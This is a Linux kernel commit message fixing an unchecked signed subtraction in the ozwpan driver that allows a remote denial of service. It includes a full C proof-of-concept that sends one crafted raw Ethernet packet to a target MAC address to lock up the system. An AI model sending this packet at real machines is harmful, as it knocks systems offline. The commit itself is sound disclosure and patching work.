ozwpan: unchecked signed subtraction leads to DoS

The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>